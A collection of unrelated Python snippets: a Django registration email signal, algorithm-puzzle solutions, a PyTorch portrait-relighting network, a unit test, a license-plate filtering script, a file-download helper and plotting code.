def generate_unique_id(sender, instance, **kwargs):
    """
    Generates a unique ID for a Dawrah instance if it doesn't already have one.
    The ID is in the format 'DWR-YYNN', where YY is the last two digits of the current year
    and NN is a four-digit number starting from 0001 and incrementing by 1 for each new ID.
    """
    if not instance.dawrah_id:
        last_id = get_last_id()
        current_year = datetime.now().year % 100
        if last_id is not None and isinstance(last_id, str) and "-" in last_id:
            new_id = int(last_id.split("-")[1]) + 1
            new_id = "DWR-" + str(new_id).zfill(4)
        else:
            new_id = "DWR-" + str(current_year).zfill(2) + "01"
        instance.dawrah_id = new_id

@receiver(post_save, sender=Attendee)
def send_confirmation_email(sender, instance, created, **kwargs):
    """
    Sends a confirmation email to the attendee after they have registered.
    """
    if created:
        message = f"Assalamu alaikum wa rahmatullahi wa barakatuhu, {instance.first_name} {instance.last_name}. Thank you for registering for the Dawrah. Your Dawrah ID is {instance.dawrah_id}. Kindly keep this ID safe as you will need it to access the Dawrah. We look forward to seeing you at the Dawrah, inshaAllah."
        html_message = f"""

Assalamu 'alaykum wa rahmatullahi wa barakatuhu, {instance.first_name} {instance.last_name}.

Thank you for registering for the Dawrah program.

Your Dawrah ID is {instance.dawrah_id}.

Kindly keep this ID safe as you will need it to access the program.

We look forward to seeing you at the Dawrah, inshaAllah.

        """
        send_mail(
            subject="Dawrah Registration Confirmation",
            message=message,
            from_email="MSSNUI DAWRAH",
            recipient_list=[instance.email],
            fail_silently=False,
            html_message=html_message,
        )


from collections import deque
import sys
input = sys.stdin.readline

n, m = map(int, input().rstrip().split())
index = list(map(int, input().rstrip().split()))
dq = deque([i for i in range(1, n + 1)])
cnt = 0

for i in index:
    if dq.index(i) >= (len(dq) / 2):
        j = len(dq) - dq.index(i)
        cnt += j
        dq.rotate(j)
    else:
        j = dq.index(i)
        cnt += j
        dq.rotate(-j)
    dq.popleft()

print(cnt)


import torch
import torch.nn as nn

class ImageEncoding(nn.Module):
    def __init__(self, in_channels=3, enc_channels=32, out_channels=64):
        super(ImageEncoding, self).__init__()
        self.conv1 = nn.Conv2d(in_channels, enc_channels - in_channels, 7, padding=3)
        self.conv2 = nn.Conv2d(enc_channels, out_channels, 3, stride=2, padding=1)
        self.encoded_image = None

    def forward(self, image):
        x = self.conv1(image)
        self.encoded_image = torch.cat((x, image), dim=1)  # append image channels to the convolution result
        return self.conv2(self.encoded_image)

    def get_encoded_image(self):
        # should not require tensor copying (based on https://github.com/milesial/Pytorch-UNet)
        return self.encoded_image

class EncDoubleConv(nn.Module):
    def __init__(self, in_channels, out_channels, channels_per_group=16):
        super(EncDoubleConv, self).__init__()
        self.conv1 = nn.Sequential(
            nn.Conv2d(in_channels, in_channels, 3, padding=1),
            nn.GroupNorm(in_channels // channels_per_group, in_channels),
            nn.PReLU()
        )
        self.conv2 = nn.Sequential(
            nn.Conv2d(in_channels, out_channels, 3, stride=2, padding=1),
            nn.GroupNorm(out_channels // channels_per_group, out_channels),
            nn.PReLU()
        )
        self.skip_connections = []

    def forward(self, x):
        self._reset_skip_connections()

        self.skip_connections.append(x)
        x = self.conv1(x)
        self.skip_connections.append(x)
        return self.conv2(x)

    def _reset_skip_connections(self):
        self.skip_connections = []

    def get_skip_connections(self):
        return self.skip_connections

class EncBottleneckConv(nn.Module):
    def __init__(self, in_channels, channels_per_group=16, envmap_H=16, envmap_W=32, depth=4):
        expected_channels = envmap_H * envmap_W
        assert in_channels == expected_channels, f'DownBottleneck input has {in_channels} channels, expected {expected_channels}'
        super(EncBottleneckConv, self).__init__()
        self.convolutions = self._build_bottleneck_convolutions(in_channels, channels_per_group, depth)
        self.skip_connections = []

    @staticmethod
    def _build_bottleneck_convolutions(in_channels, channels_per_group, depth):
        single_conv = [nn.Sequential(
            nn.Conv2d(in_channels, in_channels, 3, padding=1),
            nn.GroupNorm(in_channels // channels_per_group, in_channels),
            nn.PReLU()
        )]
        convolutions = single_conv * (depth - 1)

        # final layer before weighted pooling
        out_channels = 4 * in_channels
        convolutions.append(nn.Sequential(
            nn.Conv2d(in_channels, out_channels, 3, padding=1),
            nn.GroupNorm(out_channels // channels_per_group, out_channels),
            nn.Softplus()
        ))

        return nn.ModuleList(convolutions)

    def forward(self, x):
        self._reset_skip_connections()

        for module in self.convolutions:
            self.skip_connections.append(x)
            x = module(x)

        # last layer output is not used as skip_connections:
        self.skip_connections.pop()

        # split x into environment map predictions and confidence
        channels = x.size()[1]
        split_point = 3 * (channels // 4)
        envmap_predictions, confidence = x[:, :split_point], x[:, split_point:]

        return envmap_predictions, confidence

    def _reset_skip_connections(self):
        self.skip_connections = []

    def get_skip_connections(self):
        return self.skip_connections

class WeightedPooling(nn.Module):
    def __init__(self):
        super(WeightedPooling, self).__init__()

    def forward(self, x, weights):
        # TODO: multiplication with sum can probably be implemented as convolution with groups (according to some posts)
        return (x * weights.repeat((1, 3, 1, 1))).sum(dim=(2, 3), keepdim=True)

class Tiling(nn.Module):
    def __init__(self, size=16, in_channels=1536, out_channels=512, channels_per_group=16):
        super(Tiling, self).__init__()
        self.size = size
        self.encode = nn.Sequential(
            nn.Conv2d(in_channels, out_channels, 3, padding=1),
            nn.GroupNorm(out_channels // channels_per_group, out_channels),
            nn.PReLU()
        )

    def forward(self, x):
        tiled = x.repeat((1, 1, self.size, self.size))
        return self.encode(tiled)

def channel_concat(x, y):
    return torch.cat((x, y), dim=1)

class DecBottleneckConv(nn.Module):
    def __init__(self, in_channels, channels_per_group=16, envmap_H=16, envmap_W=32, depth=4):
        expected_channels = envmap_H * envmap_W
        assert depth >= 2, f'Depth should be not smaller than 3'
        assert in_channels == expected_channels, f'UpBottleneck input has {in_channels} channels, expected {expected_channels}'
        super(DecBottleneckConv, self).__init__()
        self.depth = depth

        half_in_channels = in_channels // 2
        self.encode = nn.Sequential(
            nn.Conv2d(in_channels, half_in_channels, 3, padding=1),
            nn.GroupNorm(half_in_channels // channels_per_group, half_in_channels),
            nn.PReLU()
        )
        # TODO: why are these paddings necessary
        self.initial_conv = nn.Sequential(
            nn.ConvTranspose2d(in_channels + half_in_channels, in_channels, 3, padding=1),
            nn.GroupNorm(in_channels // channels_per_group, in_channels),
            nn.PReLU()
        )
        self.convs = nn.ModuleList([nn.Sequential(
            nn.ConvTranspose2d(2 * in_channels, in_channels, 3, padding=1),
            nn.GroupNorm(in_channels // channels_per_group, in_channels),
            nn.PReLU()
        )] * (depth - 3))
        # TODO: output_padding added to fit the spatial dimensions, but there is no reasoned justification for it
        self.out_conv = nn.Sequential(
            nn.ConvTranspose2d(2 * in_channels, half_in_channels, 3, stride=2, padding=1, output_padding=1),
            nn.GroupNorm(half_in_channels // channels_per_group, half_in_channels),
            nn.PReLU()
        )

    def forward(self, x, skip_connections):
        # encoding convolution
        x = self.encode(x)

        # transposed convolutions with skip connections
        x = self.initial_conv(channel_concat(x, skip_connections.pop()))
        for conv in self.convs:
            x = conv(channel_concat(x, skip_connections.pop()))
        return self.out_conv(channel_concat(x, skip_connections.pop()))

class DecDoubleConv(nn.Module):
    def __init__(self, in_channels, out_channels, channels_per_group=16):
        super(DecDoubleConv, self).__init__()
        # TODO: why are these paddings necessary
        self.conv1 = nn.Sequential(
            nn.ConvTranspose2d(2 * in_channels, in_channels, 3, padding=1),
            nn.GroupNorm(in_channels // channels_per_group, in_channels),
            nn.PReLU()
        )
        self.conv2 = nn.Sequential(
            nn.ConvTranspose2d(2 * in_channels, out_channels, 3, stride=2, padding=1, output_padding=1),
            nn.GroupNorm(out_channels // channels_per_group, out_channels),
            nn.PReLU()
        )

    def forward(self, x, skip_connections):
        x = self.conv1(channel_concat(x, skip_connections.pop()))
        return self.conv2(channel_concat(x, skip_connections.pop()))

class Output(nn.Module):
    def __init__(self, in_channels=64, out_channels=3):
        super(Output, self).__init__()
        self.block = nn.Sequential(
            nn.ConvTranspose2d(in_channels, out_channels, 3, padding=1),  # should it be conv or transposed conv?
            nn.GroupNorm(1, out_channels),
            nn.Sigmoid()
        )

    def forward(self, x, encoded_img):
        return self.block(channel_concat(x, encoded_img))

class Encoder(nn.Module):
    def __init__(self):
        super(Encoder, self).__init__()
        self.image_encoder = ImageEncoding()

        n_double_conv = 3
        self.double_convolutions = self._build_encoder_convolutions_block(n_double_conv)
        self.bottleneck = EncBottleneckConv(512)
        self.weighted_pool = WeightedPooling()

        self.skip_connections = []

    @staticmethod
    def _build_encoder_convolutions_block(n):
        return nn.ModuleList([EncDoubleConv(64 * (2 ** i), 64 * (2 ** (i + 1))) for i in range(n)])

    def forward(self, image):
        self._reset_skip_connections()

        # initial image encoding
        x = self.image_encoder(image)
        self.skip_connections.append(self.image_encoder.get_encoded_image())

        # double convolution layers
        for double_conv in self.double_convolutions:
            x = double_conv(x)
            self.skip_connections += double_conv.get_skip_connections()

        # pre-bottleneck layer
        env_map, weights = self.bottleneck(x)
        self.skip_connections += self.bottleneck.get_skip_connections()

        # predict environment map
        pred_env_map = self.weighted_pool(env_map, weights)

        return pred_env_map

    def _reset_skip_connections(self):
        self.skip_connections = []

    def get_skip_connections(self):
        return self.skip_connections

class Decoder(nn.Module):
    def __init__(self):
        super(Decoder, self).__init__()

        n_double_conv = 3
        self.tiling = Tiling()
        self.bottleneck = DecBottleneckConv(512)
        self.double_convolutions = self._build_decoder_convolutions_block(n_double_conv)

        self.output = Output()

    @staticmethod
    def _build_decoder_convolutions_block(n):
        return nn.ModuleList([DecDoubleConv(256 // (2 ** i), 256 // (2 ** (i + 1))) for i in range(n)])

    def forward(self, latent, skip_connections):
        # tiling and channel reduction
        tiled = self.tiling(latent)

        # post-bottleneck layer
        x = self.bottleneck(tiled, skip_connections)

        # double convolution layers
        for double_conv in self.double_convolutions:
            x = double_conv(x, skip_connections)

        # final layer constructing image
        relighted = self.output(x, skip_connections.pop())

        return relighted

class IlluminationSwapNet(nn.Module):
    def __init__(self):
        """
        Illumination swap network model based on "Single Image Portrait Relighting" (Sun et al., 2019).
        Autoencoder accepts two images as inputs - one to be relighted and one representing target lighting conditions.
        It learns to encode their environment maps in the latent representation. In the bottleneck the latent
        representations are swapped so that the decoder, using U-Net-like skip connections from the encoder,
        generates image with the original content but under the lighting conditions of the second input.
        """
        super(IlluminationSwapNet, self).__init__()
        self.encode = Encoder()
        self.decode = Decoder()

    def forward(self, image, target, ground_truth):
        # pass image through encoder
        image_env_map = self.encode(image)
        image_skip_connections = self.encode.get_skip_connections()
        # pass target through encoder
        target_env_map = self.encode(target)
        # pass ground-truth through encoder
        ground_truth_env_map = self.encode(ground_truth)

        # decode image with target env map
        relighted_image = self.decode(target_env_map, image_skip_connections)
        # decode image with its env map
        # reconstructed_image = self.decode(image_env_map, image_skip_connections)

        # pass relighted image second time through the network to get its env map
        # relighted_env_map = self.encode(relighted_image)

        return relighted_image, \
               image_env_map, target_env_map, ground_truth_env_map


import unittest
from datetime import datetime
from modules import database
from model.athlete import Athlete
from model.goal import Goal

class GoalTests(unittest.TestCase):

    def setUp(self):
        database.empty_database()

    def test_goal_object_creation(self):
        athlete1 = Athlete("name1", "lastname1", "a@a.a.a", datetime.now())
        database.session.add(athlete1)
        database.session.commit()

        goal1 = Goal(athlete1.id, "run", "total", 100, "distance",
            datetime.now(), datetime.now())
        goal2 = Goal(athlete1.id, "run", "average", 10, "max_speed",
            datetime.now(), datetime.now())

        database.session.add(goal1)
        database.session.add(goal2)
        database.session.commit()

        goals = Goal.query.all()

        self.assertTrue(len(goals) == 2)

        queried_goal1 = goals[0]
        queried_goal2 = goals[1]

        self.assertFalse(queried_goal1 is None)
        self.assertFalse(queried_goal2 is None)

        self.assertEqual(queried_goal1, goal1)
        self.assertEqual(queried_goal2, goal2)


goal_x, goal_y = map(int, input().split())

possible = ['N', 'E', 'S', 'W']
def movement(lst):
    face = 'N'
    x, y = 0, 0
    for move in lst:
        if move == 'Forward':
            if face == 'N':
                y += 1
            elif face == 'S':
                y -= 1
            elif face == 'W':
                x -= 1
            if face == 'E':
                x += 1
        elif move == 'Left':
            face = possible[(possible.index(face) - 1) % 4]
        elif move == 'Right':
            face = possible[(possible.index(face) + 1) % 4]
    if x == goal_x and y == goal_y:
        return True
    else:
        return False

T = int(input())
instructions = [input() for _ in range(T)]
for index, ins in enumerate(instructions):
    if ins == 'Forward':
        new_list = [x for x in instructions]
        new_list[index] = 'Right'
        if movement(new_list):
            print(index + 1, 'Right')
            break
        new_list[index] = 'Left'
        if movement(new_list):
            print(index + 1, 'Left')
            break
    elif ins == 'Left':
        new_list = [x for x in instructions]
        new_list[index] = 'Forward'
        if movement(new_list):
            print(index + 1, 'Forward')
            break
        new_list[index] = 'Right'
        if movement(new_list):
            print(index + 1, 'Right')
            break
    elif ins == 'Right':
        new_list = [x for x in instructions]
        new_list[index] = 'Forward'
        if movement(new_list):
            print(index + 1, 'Forward')
            break
        new_list[index] = 'Left'
        if movement(new_list):
            print(index + 1, 'Left')
            break


'''
该程序用于删除一个文件夹中所有无法识别的车牌号照片
'''

from hyperlpr import *
import os
#导入OpenCV库
import cv2

# 图片所在文件夹
root_path="../picture"
car_plate=[]

for filename in os.listdir(root_path):
    path=root_path + "/" + filename
    image = cv2.imread(path)
    res = HyperLPR_PlateRecogntion(image)
    if res:
        car_plate.append(res[0][0])
    else:
        os.remove(path)

print(car_plate)


"""A core utility function for downloading efficiently and robustly"""

def download_file(url, path, progress=False, if_newer=True):
    """Download large file efficiently from url into path

    Parameters
    ----------
    url : str
        The URL to download from.  Redirects are followed.
    path : {str, pathlib.Path}
        Path to the file in which the download will be stored.  If this is an
        existing directory or ends in a path separator, the "path" component of the
        URL will be used as the file name, and the full directory path will be
        created.
    progress : bool, optional
        If True, and a nonzero Content-Length header is returned, a progress bar
        will be shown during the download.
    if_newer : {bool, datetime, pathlib.Path}, optional
        If True (the default), the file will only be downloaded if the version on
        the server is newer than the "mtime" of the local version.  If this flag is
        False, or there is no local version, or the server does not reply with a
        'Last-Modified' header, the file is downloaded as usual.  If a datetime
        object is passed, it is used instead of the local file's mtime.  If a Path
        object is passed, its mtime is used instead of the output path's, and this
        path is returned if it is newer than the server's file.

    Returns
    -------
    local_filename : pathlib.Path

    """
    import functools
    import pathlib
    import os
    import shutil
    import urllib.parse
    import requests
    from tqdm.auto import tqdm
    from datetime import datetime, timezone

    url_path = urllib.parse.urlparse(url).path
    path = pathlib.Path(path).expanduser().resolve()
    if path.is_dir():
        path = path / url_path[1:]  # May have some new directories
    directory = path.parent
    filename = path.name
    directory.mkdir(parents=True, exist_ok=True)
    if not os.access(str(directory), os.W_OK) or not directory.is_dir():
        raise ValueError(f"Path parent '{directory}' is not writable or is not a directory")
    local_filename = directory / filename

    r = requests.get(url, stream=True, allow_redirects=True)
    if r.status_code != 200:
        print(f"An error occurred when trying to access <{url}>.")
        try:
            print(r.json())
        except Exception:
            pass
        r.raise_for_status()
        raise RuntimeError()  # Will only happen if the response was not strictly an error

    if if_newer and "Last-Modified" in r.headers:
        remote_timestamp = datetime.strptime(
            r.headers["Last-Modified"], "%a, %d %b %Y %H:%M:%S GMT"
        ).replace(tzinfo=timezone.utc)
        if isinstance(if_newer, datetime):
            local_timestamp = if_newer
        elif isinstance(if_newer, pathlib.Path) and if_newer.exists():
            local_timestamp = datetime.fromtimestamp(if_newer.stat().st_mtime, timezone.utc)
        elif local_filename.exists():
            local_timestamp = datetime.fromtimestamp(local_filename.stat().st_mtime, timezone.utc)
        else:
            local_timestamp = remote_timestamp  # Just to make the next condition evaluate to False
        if local_timestamp > remote_timestamp:
            if progress:
                print(f"Skipping download from '{url}' because local file is newer")
            if isinstance(if_newer, pathlib.Path) and if_newer.exists():
                return if_newer
            return local_filename

    file_size = int(r.headers.get('Content-Length', 0))
    r.raw.read = functools.partial(r.raw.read, decode_content=True)

    output_path = local_filename.parent / (local_filename.name + '.part')
    try:
        with output_path.open("wb") as f:
            if progress and file_size:
                desc = "(Unknown total file size)" if file_size == 0 else ""
                print(f"Downloading to {path}:", flush=True)
                with tqdm.wrapattr(r.raw, "read", total=file_size, desc=desc, dynamic_ncols=True) as r_raw:
                    shutil.copyfileobj(r_raw, f)
            else:
                shutil.copyfileobj(r.raw, f)
    except Exception as e:
        raise RuntimeError(f"Failed to download {url} to {local_filename}; original file remains") from e
    else:
        output_path.replace(local_filename)
    finally:
        try:
            output_path.unlink()  # missing_ok is only available in python 3.8
        except FileNotFoundError:
            pass

    return local_filename


from collections import deque

dx = [1, -1, 0, 0]
dy = [0, 0, 1, -1]

def bfs(y, x, visit, place):
    dq = deque()
    dq.append([y, x, 0])

    cnt = 0
    while dq:

        y, x, dist = dq.popleft()
        if dist >= 2:
            break
        for i in range(4):
            ny = y + dy[i]
            nx = x + dx[i]

            if (ny<0 or ny>=5 or nx<0 or nx>=5) or visit[ny][nx] == 1:
                continue

            if place[ny][nx] == 'P':
                return 0
            elif place[ny][nx] == 'O':
                dq.append([ny, nx, dist+1])
        cnt += 1
    return 1

def solution(places):
    answer = []
    for idx in range(len(places)):
        visit = [[0 for k in range(5)] for j in range(5)]
        place = places[idx]
        result = -1
        for i in range(5):
            for j in range(5):
                if place[i][j] == 'P' and visit[i][j] == 0:
                    visit[i][j] = 1
                    result = bfs(i, j, visit, place)
                    if result == 0:
                        answer.append(0)
                        break
            if result == 0:
                break
            if i == 4:
                answer.append(1)
    return answer


import base64
from io import BytesIO

import pandas as pd
import matplotlib.pyplot as plt

def create_and_save_graphs(data_website_reason, data_website_duration):
    # Convert list of tuples to DataFrame
    df_reason = pd.DataFrame(data_website_reason, columns=['Website', 'Reason'])
    df_duration = pd.DataFrame(data_website_duration, columns=['Website', 'Duration'])

    # Merge the two dataframes on the 'Website' column
    merged_df = pd.merge(df_reason, df_duration, on='Website')

    # Convert seconds to minutes for plotting
    merged_df['Duration'] = merged_df['Duration'] / 60  # Conversion to minutes

    # Group by Reason and aggregate (summing duration in minutes)
    aggregated_data_reason = merged_df.groupby('Reason').agg({
        'Duration': 'sum'
    }).reset_index()

    # Plotting the bar graph for activity and duration
    fig1, ax1 = plt.subplots(figsize=(10,6))
    ax1.bar(aggregated_data_reason['Reason'], aggregated_data_reason['Duration'], color='skyblue')
    ax1.set_title('Duration of Different Activities')
    ax1.set_xlabel('Activity')
    ax1.set_ylabel('Duration (minutes)')
    ax1.set_xticks(aggregated_data_reason['Reason'])
    ax1.set_xticklabels(aggregated_data_reason['Reason'], rotation=45)
    ax1.grid(axis='y')

    # Group by Website and aggregate (summing duration in minutes)
    aggregated_data_website = df_duration.groupby('Website').agg({
        'Duration': 'sum'
    }).reset_index()

    # Plotting the pie chart for websites and time
    fig2, ax2 = plt.subplots(figsize=(10,6))
    ax2.pie(aggregated_data_website['Duration'], labels=aggregated_data_website['Website'], autopct='%1.1f%%', startangle=140, colors=plt.cm.Paired.colors)
    ax2.set_title('Proportion of Time Spent on Different Websites')
    ax2.axis('equal')

    # Save the bar graph as an image file
    buffer_bar = BytesIO()
    fig1.savefig(buffer_bar, format='png')
    buffer_bar.seek(0)
    bar_base64 = base64.b64encode(buffer_bar.read()).decode()

    buffer_pie = BytesIO()
    fig2.savefig(buffer_pie, format='png')
    buffer_pie.seek(0)
    pie_bas64 = base64.b64encode(buffer_pie.read()).decode()

    # Return the base64 of the saved graphs
    return bar_base64, pie_bas64


def posfeatures(position):
    common = ['kills', 'deaths', 'assists', 'gpm', 'xpm', 'duration',]
    common_core = ['last_hits', 'hero_damage',]
    common_sup = ['stuns', 'obs_placed', 'sen_placed']

    #Carry position
    if position == 1:
        return common + common_core
    #Midlane position
    elif position == 2:
        return common + common_core + ["rune_pickups"]
    #Offlane position
    elif position == 3:
        return common + common_core + ["stuns", "tower_damage"]
    #Roamer position
    elif position == 4:
        return common + common_sup
    #Wimpy Support position
    elif position == 5:
        return common + common_sup

def positionFiller(playermatch, position):
    feature_names = posfeatures(position)
    features = []
    for feature in feature_names:
        features.append(playermatch[feature])
    return features

"""obj = {"kills": 5, "deaths": 2, "assists": 10, "gpm": 500, "xpm": 400, "duration": 700, "last_hits": 150, "hero_damage": 15000}
print(positionFiller(obj, 1))"""


import matplotlib.pyplot as plt
import numpy as np
from scipy.optimize import curve_fit

error_q = np.loadtxt('Error_width.txt')
error_TPts  = np.loadtxt('Error_training_set.txt')

# Comparison with theoretical value

q = error_q[:,0]
L2_error = error_q[:,1]
Loss = error_q[:,2]

fig1 = plt.figure(1)
plt.semilogy(q, L2_error, 'bo--', linewidth=2, markersize=8)
q_plot = np.linspace(q[0]-1, max(q)+1,100)

def theoretical_convergence_rate(q, a,b):
        return a + b*q**(-0.5)
p_opt, _ = curve_fit(theoretical_convergence_rate, q, L2_error)

error_th = theoretical_convergence_rate(q_plot, p_opt[0], p_opt[1])
plt.semilogy(q_plot, error_th, 'k', linewidth=2)
plt.semilogy(q, Loss,
             'r+--', linewidth=2, markersize=8)
plt.legend([r'Neural network solver', r'Theoretical $O(q^{-1/2})$',
            r'$\mathcal{L}\Psi_t-f$'])
plt.title(r'Sensitivity to the number of neurons in\na single layer network')
plt.xlabel('q')

# Comparison with suggested exponential convergence

fig2 = plt.figure(2)
n = error_TPts[:,0]
n_plot = np.linspace(n[0], n[-1], 1000)

L2_error = error_TPts[:,1]
Loss = error_TPts[:,2]

def exponential_convergence(n, a,b):
    return a*np.exp(-b*n)
error_th = exponential_convergence(n_plot, p_opt[0], p_opt[1])

plt.semilogy(n, L2_error, 'bo--',
             linewidth=2, markersize=8)
plt.semilogy(n_plot, error_th, 'k', linewidth=2)
plt.semilogy(n, Loss,
             'r+--', linewidth=2, markersize=8)
plt.xlabel('# of training points')
plt.legend([r'Normalized $L^2$ norm',r'$O(e^{-cn})$', r'$\mathcal{L}\Psi_t-f$'])
plt.title('Convergence w.r.t the number of training points')
plt.show()


class Solution:
    def flipLights(self, n: int, m: int) -> int:
        '''
        dfs - tle
        '''
        def t1(status):
            for i in range(len(status)):
                status[i] = not status[i]
            return status

        def t2(status):
            for i in range(1,len(status),2):
                status[i] = not status[i]
            return status

        def t3(status):
            for i in range(0,len(status),2):
                status[i] = not status[i]
            return status

        def t4(status):
            for i in range(len(status)):
                if (i)%3 == 0:
                    status[i] = not status[i]
            return status

        s = []

        def dfs(status, index):
            if index == m:
                if status not in s:
                    s.append(status)
                return
            dfs(t1(status[:]),index+1)
            dfs(t2(status[:]),index+1)
            dfs(t3(status[:]),index+1)
            dfs(t4(status[:]),index+1)
            return

        dfs([True]*n,0)
        return len(s)